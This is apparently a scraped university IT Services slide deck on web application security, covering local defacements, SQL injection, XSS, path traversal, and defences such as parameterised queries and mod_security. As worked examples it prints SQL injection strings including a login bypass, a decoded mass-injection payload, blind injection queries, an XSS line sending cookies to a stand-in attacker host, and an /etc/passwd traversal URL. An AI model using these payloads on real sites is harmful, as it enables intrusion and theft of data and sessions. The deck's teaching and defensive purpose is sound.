300 likes | 566 Views
Web Security. http://xkcd.com/327. Chris Wakelin – IT Services. Introduction. Background Vulnerabilities Defences Risk Assessment. Background - Incidence of common vulnerabilities. Broken authentication – 67% Broken access controls – 78% SQL injection – 36% Cross-site scripting – 91%
E N D
Web Security http://xkcd.com/327 Chris Wakelin – IT Services
Introduction • Background • Vulnerabilities • Defences • Risk Assessment
Background - Incidence of common vulnerabilities • Broken authentication – 67% • Broken access controls – 78% • SQL injection – 36% • Cross-site scripting – 91% • Information leakage – 81% (source – Web Application Hacker’s Handbook)
Background – Mass exploits • November 2007 – yl18.net • “40,000 websites” • http://isc.sans.org/diary.html?storyid=3621 • Including www.reading.gov.uk • January 2008 - uc8010.com • “70,000 websites” • Including www.iop.kcl.ac.uk ? • http://isc.sans.org/diary.html?storyid=3823
Background -UoR Web defacements • Fresher’s Week 2007 • www.careers.reading.ac.uk defaced • “code own3d by UGUR238” appearing everywhere • 30th October • www.launchpad.reading.ac.uk defaced • “ownz ya baby” • 19th November 2007 • www.reading.ac.uk/moneymatters (a.k.a. www.extra.rdg.ac.uk/studentfinance) defaced • “Hooked by cyber_zook” • We’ve been lucky!
Background –Motivation • We were lucky, still only “script kiddies” • No malicious code inserted • Defacement was obvious (boasting!) • Mass exploits are perpetrated by Cyber Criminals • Wish to insert malicious code (Javascript and IFRAMEs) • Attack visiting clients with cocktail of exploits • Eventually install “Trojan du Jour” (“drive-by downloads”) • Compromised clients used to capture banking details, spread spam etc. • Consequences of such an exploit in the University • Many of the clients would be our users • Potentially huge clean-up task • Damage to University’s reputation etc.
Vulnerabilities -SQL Injection - Cartoon • Consider the cartoon. What if the web app used the following SQL query? SELECT * FROM Students WHERE (status = ‘active’ AND name=‘$name’) • “Little Bobby Tables” has just made $name = Robert‘); DROP TABLE Students;-- • So the query becomes SELECT * FROM Students WHERE (account=‘active’ AND name=‘Robert’); DROP TABLE Students;-- ‘) • Oops!
Vulnerabilities – SQL Injection - Authentication • What about SELECT * FROM Users WHERE username=‘$username’ AND password=‘$password’ ? • I found three different UoR websites where a password of ‘OR ‘1’=‘1 logged me in (as an Administrator in two of the cases!) • … AND password=‘’ OR ‘1’=‘1’ • One using MS SQL Server (ASP, commercial), one MS Access (ASP, consultancy) and one MySQL (PHP, home-grown)
Vulnerabilities - SQL Injection – Mass Exploits HTTP Request was GET /home/site_content_3.asp?s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C00610072... ...29003B00%20AS%20NVARCHAR(4000));EXEC(@S);-- Which decodes as declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="hxxp://yl18 net/0.js"></script>'';'from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar';set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);
Vulnerabilities -Advanced SQL Injection • ‘Blind’ SQL Injection • Just needs to produce a different result depending on whether the given condition is true or false • WebCMS was vulnerable • /nmsruntime/saveasdialog.asp?lID=14531%20and%201=1&sID=22059 gave a different answer (downloaded the file) to • /nmsruntime/saveasdialog.asp?lID=14531%20and%201=2&sID=22059 (gave an error) • Automated tools can potentially retrieve (slowly) everything in the database • Queries like … AND (SELECT ASCII(SUBSTR(password,1,1)) FROM users WHERE username=‘admin’) > 78
Vulnerabilities -Advanced SQL Injection [*] starting at: 22:00:56 [22:01:03] [WARNING] the remote DMBS is not MySQL [22:01:04] [WARNING] the remote DMBS is not Oracle [22:01:04] [WARNING] the remote DMBS is not PostgreSQL remote DBMS: Microsoft SQL Server Database: ae400_readingdev [163 tables] +---------------------------------------+ | ACTIVATION | | AEMA_PAGE_AC_COST | | AEMA_PAGE_AC_COST_VALUES | | AEMA_PAGE_AC_ROOMTERM | | AEMA_PAGE_AC_ROOMTERM_VALUES | | AEMA_PAGE_AC_TYPE | | AEMA_PAGE_AC_TYPE_VALUES | | WORKFLOW | | WORKFLOW_USERS | +---------------------------------------+ [*] shutting down at: 00:16:21
Vulnerabilities -Cross-Site Scripting (XSS) • Not as spectacular as SQL injection • Far more prevalent (91%) • Severity depends on context • E.g. can be used to hijack authenticated sessions • Victim is persuaded to follow specially crafted link to their application • Their browser sends their session cookie to the attacker • The attacker uses this cookie to hijack the session • Can be Spectacular – the MySpace worm used XSS • Attacker posted Javascript to his profile • People visiting that profile became his buddies and had the Javascript added to their profile • He ended up with over a million friends (not that they helped him in court!)
Vulnerabilities –Cross-Site Scripting • Typical problem is in search pages or error pages • …/Search.asp?search-term=<script> … • “You searched for <script>alert(document.cookie)</script>” • …/Login.php?user=<script> … • “User <script>var i=new Image; i.src=“hxxp://hacker.com/”+document.cookie</script> does not exist” • Can also happen by “POST” (form submission) but harder to exploit • These are “Reflected” or “Class 1” XSS.
Vulnerabilites –Cross-Site Scripting • Stored” or “Class 2” XSS is where an attacker puts Javascript in a field (such as a comment) which is subsequently viewed by other users • E.g. Webmail, blogs, bulletin boards, advertisments • Other avenues of attack starting to appear • Flash • ActiveX controls • Best browser defence is Firefox + NoScript plugin • Selectively allow Javascript for trusted sites • Perhaps not user-friendly enough …
Vulnerabilities –Outdated applications • E.g. Wordpress, phpBB, Joomla • “Google Hacking” • Find old vulnerable versions of well-known applications • E.g. “site:rdg.ac.uk inurl:wp-login.php” • See http://johnny.ihackstuff.com/ghdb.php for more ... • Even security professionals not immune - http://www.lightbluetouchpaper.org/2007/11/20/wordpress-cookie-authentication-vulnerability/ • Watch out for “plugins” as they may be less well-written • Essential to keep applications up-to-date!
Vulnerabilities – Old versions and source code • Don’t keep old (potentially insecure) version of scripts lying around • Hackers will try “index.php.bak” and “default2.asp” • If you must keep old versions online, pick a naming scheme that is unlikely to be guessed • “search-191107cdw.asp” • If you change the file extension, the server may hand out your actual code! • Deny access to source and backup directories • Preferably keep them out of the web root altogether
Vulnerabilities - others • Other injection flaws • Command injection (can run OS commands) • Script injection (exec/eval/include commands in scripts) • HTTP header (CRLF) injection (anything the client sends you that ends up in the header, especially cookies and redirects) • SMTP/LDAP/XPATH/SOAP … • Path traversal • http://myapp.reading.ac.uk/display.php?file=../../../../etc/passwd • Buffer overflows • Don’t rely on “<input … maxlength=xxx>” or “size=xxx” • …
Defences – Fix apps • Sanitise anything you get and use from the user • Including ‘hidden’ fields, cookies, user-agent etc. • Don’t assume they’ll obey things like length-restrictions • If possible, restrict to ‘known good’ rather than trying to exclude bad things • E.g. if your application takes an integer as an argument, reject anything that isn’t an integer • Be careful not to throw out the baby with the bathwater, though • We probably don’t want to exclude people of Irish ancestry from receiving the University prospectus – e.g. O’Connor • “Parameterise” SQL queries (if necessary) • HTML-Encode anything you output • htmlencode($string) in PHP • Server.HTMLencode(string) in ASP
Defences – Fix apps –Validate input • ASP Public Function ValidateInput(ByVal sInput, ByVal sPattern) Dim reValid Set reValid = New RegExp reValid.Pattern = sPattern reValid.Global = True ValidateInput = reValid.Test(sInput) Set reValid = Nothing End Function If not ValidateInput(strid, "^[0-9]+$") then strid="1" End If • PHP If (!preg_match("/^[0-9]+$/",$strid)) $strid="1" ;
Defences - Fix apps -Parameterise queries • PHP $sql = $db_connection->prepare( “SELECT * FROM users WHERE username = ? AND password = ?”); $sql->bind_param(“ss”, $username, $password); $sql->execute(); • ASP Set dbCommand = Server.CreateObject("ADODB.Command")Set dbCommand.ActiveConnection = dbConnectiondbCommand.CommandType = adCmdTextdbCommand.CommandText = "SELECT * FROM users WHERE username=? and password=?“ dbCommand.Parameters.Append (dbCommand.CreateParameter("username", adChar, adParamInput, Len(username), username)) dbCommand.Parameters.Append (dbCommand.CreateParameter("pwd", adChar, adParamInput, Len(pwd), pwd)) Set rs = dbCommand.Execute
Defences -Minimal permissions • Each application should have its own database account(s) • Account should have read-only privileges unless the application modifies the data • Use separate account for admin write access if possible • Don’t be DBA (even to just make things work) • Use access restrictions (.htaccess etc.) to restrict admin functionality to trusted networks/users • Web servers shouldn’t run as root/local system/administrator or as the same user as the database • May be an idea to run the database on a different server altogether • Use strong passwords (and password policies) • Use password hashes where possible
Defences - Policies • We should aim to not be the “low-hanging fruit” • Move the fruit further up the tree by • Requiring authentication • Restricting access to those on campus where possible • Shake the tree ourselves and see what falls out • Then fix it • Hackers with ladders/cherry-pickers/chainsaws will probably beat us! • But we’re not a bank, so hopefully they won’t bother
Defences - Policies • A single Nessus Scan no longer sufficient • Websites change • Nessus not really suited to testing web applications • We need a policy of systematic testing • When a request for a database is made • When a web application is installed or changed • Periodic automated testing? • Try to consolidate to central services where possible • Do we need 10 different Wordpress installations?
Defences - Policies • Web applications need to be properly resourced and maintained (static pages are probably OK) • Consultancy & commercial • Can’t just pay a consultant to develop it and forget about it • Need support contract • Home-grown • What if the original author leaves? • Open-source • Keep up-to-date with latest releases and patches • What if it’s no longer maintained?
Defences - Security Scans • Historically we scanned new websites with Nessus • Not particularly aimed at web-application security problems • Doesn’t do “spidering” so will only find problems in obvious places • We only scanned once (and reserved the right to rescan later) • Nessus is free! • Web Security Scanners • Commercial ones are expensive £3000 - £30000! • WebInspect, AppScan, Acunetix … • Can still have problems with false positives • Will still miss some of the obvious vulnerabilities • Probably can be used for automated and first-glance checks
Defences - Free testing tools • Paros Proxy (http://www.parosproxy.org/ ) • Good point & click tool – a bit lacking in documentation • Will find the simplest XSS and SQL injection flaws • Burp Suite (http://www.portswigger.net/suite/ ) • More sophisticated tools to assist the penetration tester • Acunetix Free Edition (http://www.acunetix.com ) • Restricted version of commercial scanner; just finds XSS • Nikto (http://www.cirt.net ) • Perl script to look for common vulnerabilities • WebGoat (http://www.owasp.org/ ) • Training application for pen testers (can you buy the HDTV for 0$?)
Defences -Web Application Firewall • Mod_security for Apache (http://www.modsecurity.org ) • Main Apache server is acting as “reverse proxy” for WebCMS • Can block things like XSS and SQL injection attacks • Customisable “Core” Ruleset provided • Custom rules can protect particular applications • Provides an audit trail • Free console application (for up to 3 servers) • Currently running in “Log only” mode (on all virtual hosts) • Can proxy www.xyz.rdg.ac.uk by making DNS point to Apache • But may need different URL for editing • Risk of false positives (we have a very varied website)
Risk Assessment • SQL Injection in SQL Server or MySQL • High risk • Actively targeted by automated attacks • Potential to affect other apps sharing the same database server • SQL Injection in MS Access • Medium risk • Less likely to be compromised by an automated attack • Determined hacker could probably modify the database and insert malicious code
Risk Assessment • Reflected XSS • Low to medium risk • Important on sites with authentication (Blackboard, RISIS, Trent etc.) where session tokens could be stolen • Outdated well-known applications • Could be a high risk • Automated attacks via “Google Hacking”
Conclusion • Web application security now a ‘hot topic’ • Automated attacks occurring constantly • Need to fix home-grown scripts and applications • Need to keep third-party applications up-to-date • Need to ensure proper resources for maintenance • Need policies to keep track